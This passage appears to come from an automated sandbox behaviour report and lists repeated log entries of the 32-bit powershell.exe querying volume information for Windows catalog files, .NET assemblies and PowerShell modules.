Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
